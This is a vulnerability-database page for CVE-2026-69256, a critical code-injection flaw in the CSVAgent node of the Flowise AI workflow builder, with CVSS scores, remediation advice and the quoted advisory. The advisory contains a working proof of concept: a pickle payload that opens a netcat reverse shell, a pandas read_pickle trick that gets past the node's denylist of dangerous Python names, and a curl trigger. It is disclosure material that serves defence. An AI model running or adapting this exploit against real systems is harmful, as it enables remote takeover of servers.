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Flowise CVE-2026-69256

| EUVDEUVD-2026-52746 CRITICAL
Code Injection (CWE-94)
2026-08-04 https://github.com/FlowiseAI/Flowise GHSA-x6vm-w76m-8j7g
9.4
CVSS 4.0 · Vendor: https://github.com/FlowiseAI/Flowise
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Severity by source

Vendor (https://github.com/FlowiseAI/Flowise) PRIMARY
9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.8 HIGH

Exploitation is network-triggerable but requires builder access to author the malicious flow (PR:L), needs no user interaction, and yields full code execution (C/I/A High).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).

CVSS VectorVendor: https://github.com/FlowiseAI/Flowise

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

4
Patch available
Aug 04, 2026 - 17:16 EUVD
Source Code Evidence Fetched
Aug 04, 2026 - 16:35 vuln.today
Analysis Generated
Aug 04, 2026 - 16:35 vuln.today
CVE Published
Aug 04, 2026 - 15:46 cve.org
CRITICAL

DescriptionCVE.org

Summary

The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a read_pickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution.

Details

The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.

js
try {
    const code = `import pandas as pd
import base64
from io import StringIO
import json

base64_string = "${base64String}"

decoded_data = base64.b64decode(base64_string)

csv_data = StringIO(decoded_data.decode('utf-8'))

df = pd.${customReadCSVFunc} <1>
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
    dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
    throw new Error(error)
}

At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:

py
const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
    { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
    { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
    // Dangerous builtins
    { pattern: /\beval\s*\(/g, reason: 'eval()' },
    { pattern: /\bexec\s*\(/g, reason: 'exec()' },
    { pattern: /\bcompile\s*\(/g, reason: 'compile()' },
    { pattern: /\b__import__\s*\(/g, reason: '__import__()' },
    { pattern: /\bopen\s*\(/g, reason: 'open()' },
    { pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
    { pattern: /\binput\s*\(/g, reason: 'input()' },
    { pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
    { pattern: /\bglobals\s*\(/g, reason: 'globals()' },
    { pattern: /\blocals\s*\(/g, reason: 'locals()' },
    { pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
    { pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
    { pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
    { pattern: /\breload\s*\(/g, reason: 'reload()' },
    { pattern: /\bfile\s*\(/g, reason: 'file()' },
    { pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
    // Dangerous modules / attributes
    { pattern: /\bos\./g, reason: 'os module' },
    { pattern: /\bsubprocess\./g, reason: 'subprocess module' },
    { pattern: /\bsys\./g, reason: 'sys module' },
    { pattern: /\bsocket\./g, reason: 'socket module' },
    { pattern: /\burllib\./g, reason: 'urllib module' },
    { pattern: /\brequests\./g, reason: 'requests module' },
    { pattern: /\b__builtins__\b/g, reason: '__builtins__' },
    { pattern: /\b__loader__\b/g, reason: '__loader__' },
    { pattern: /\b__spec__\b/g, reason: '__spec__' },
    { pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
    { pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
    { pattern: /\b__bases__\b/g, reason: '__bases__' },
    { pattern: /\b__mro__\b/g, reason: '__mro__' },
    { pattern: /\b__globals__\b/g, reason: '__globals__' },
    { pattern: /\b__code__\b/g, reason: '__code__' },
    { pattern: /\b__closure__\b/g, reason: '__closure__' },
    { pattern: /\bvars\s*\(/g, reason: 'vars()' },
    { pattern: /\bdir\s*\(/g, reason: 'dir()' },
    { pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
    { pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }
]

However, by using pandas.read_pickle(), an attacker can achieve code execution without hitting any of the denied words.

PoC

First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):

py
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)

Run it and note the encoded payload to be used later:

bash
$ python3 pickle-payload-poc.py

gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=
  1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.
  2. Drag a "CSV Agent" node onto the canvas.
  3. Click on "Additional Parameters" and fill in the following PoC:
py
isnull("")
class MiniBytesIO:
    def __init__(self, b):
        self.data = b
        self.pos = 0
    def read(self, n=-1):
        if n == -1:
            n = len(self.data) - self.pos
        chunk = self.data[self.pos:self.pos+n]
        self.pos += n
        return chunk
    def readline(self, n=-1):
        if self.pos >= len(self.data):
            return b""
        next_nl = self.data.find(b"\\n", self.pos)
        if next_nl == -1:
            next_nl = len(self.data)
        if n != -1:
            next_nl = min(self.pos + n, next_nl)
        line = self.data[self.pos:next_nl+1]
        self.pos = next_nl + 1
        return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))

The custom MiniBytesIO class needs to be included in order to deserialise the pickled payload, since read_pickle() expects a "str, path object, or file-like object". This is because we cannot use import to import BytesIO, nor open() to write to disk and read, and entering a URL does not work due to pyodide not having raw socket capabilities.

Save the chatflow, and obtain the UUID of this chatflow from the URL /canvas/<UUID>.

Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:

$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>

AnalysisAI

Remote code execution in Flowise (flowise and flowise-components <= 3.1.2) is possible through the CSVAgent node, which executes user-supplied Python in a pyodide runtime. A regex denylist blocks imports and dangerous builtins, but attackers bypass it entirely by calling the pre-imported pandas library's read_pickle() to deserialize an attacker-controlled base64 pickle, achieving arbitrary command execution. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
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Delivery
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Exploit
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Execution
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Persist
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Impact
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Vulnerability AssessmentAI

Exploitation Exploitation requires the ability to create or modify a chatflow and configure a CSVAgent node's custom read function field - i.e., access to the Flowise flow builder. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No CVSS score or vector was provided in the input (CVSS: N/A), so authentication and vector metrics cannot be confirmed from vendor data and are assessed independently below. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade both flowise and flowise-components to version 3.1.3 or later, which is the vendor-released patched version per the GHSA advisory (https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: conduct an asset inventory to identify all Flowise deployments running versions 3.1.2 or earlier and classify by business criticality; immediately restrict network access to identified instances and disable or remove the CSVAgent node from production workflows. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-69256 vulnerability details – vuln.today

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